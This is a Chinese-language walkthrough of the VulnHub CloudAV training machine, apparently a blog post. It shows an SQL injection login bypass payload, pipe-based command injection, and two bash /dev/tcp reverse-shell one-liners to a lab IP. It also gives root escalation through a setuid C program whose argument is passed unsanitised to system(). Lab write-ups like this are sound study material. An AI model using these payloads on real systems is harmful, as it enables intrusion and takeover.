VulnHub-CloudAV

前言

  这是打靶训练的第五周,靶机难度简单,下载链接。打下来后,给我的感受是非常差的,基本没学到啥知识,而且打法极其的偏。

信息搜集

  nmap扫到了22,8080端口。进行详细探测后得到
  
  浏览器打开
  
  让输入邀请码,这一看就想到sql注入。输入”后,出现报错信息
  
  最后一行的sql信息引起了我的关注。select * from code where password="' + password + '"
  构造payload为" or 1=1 --,这样整个sql语句就是select * from code where password="" or 1=1 --"

命令执行

  通过后来到
  
  输入hello | id,(这里能不能成功运行简直就是玄学,我重装了靶机2次,才再一次复现成功),成功命令执行
  
  靶机开启监听4444端口,payload hello || echo 'bash -i >& /dev/tcp/192.168.127.137/4444 0>&1' | bash
  

提权

  来到/home/scanner
  
  可看到update_cloudav文件是root权限,而且还有update_cloudav.c源码,查看源码

#include <stdio.h>

int main(int argc, char *argv[])
{
	char *freshclam = "/usr/bin/freshclam";

	if (argc < 2)
	{
		printf("This tool lets you update antivirus rules\nPlease supply command line arguments for freshclam\n");
		return 1;
	}

	char *command = malloc(strlen(freshclam) + strlen(argv[1]) + 2);
	sprintf(command, "%s %s", freshclam, argv[1]);
	setgid(0);
	setuid(0);
	system(command);
	return 0;
}

  又是我熟悉的c语言,看到setgid和setuid简单说就是,普通用户拥有可以执行“只有root权限才能执行”的特殊权限。后面的system是可以执行一个系统命令,输入./update_cloudav "help;whoami"
  
  是root权限,那么在开启一个nc监听3333端口,之后靶机输入./update_cloudav "help;echo 'bash -i >& /dev/tcp/192.168.127.137/3333 0>&1' | bash"
  
  打靶完毕,总结这套靶场啥也没学到,命令执行哪里等半天,有时候等10分钟都没结果,垃圾,再见!

查看评论 -
评论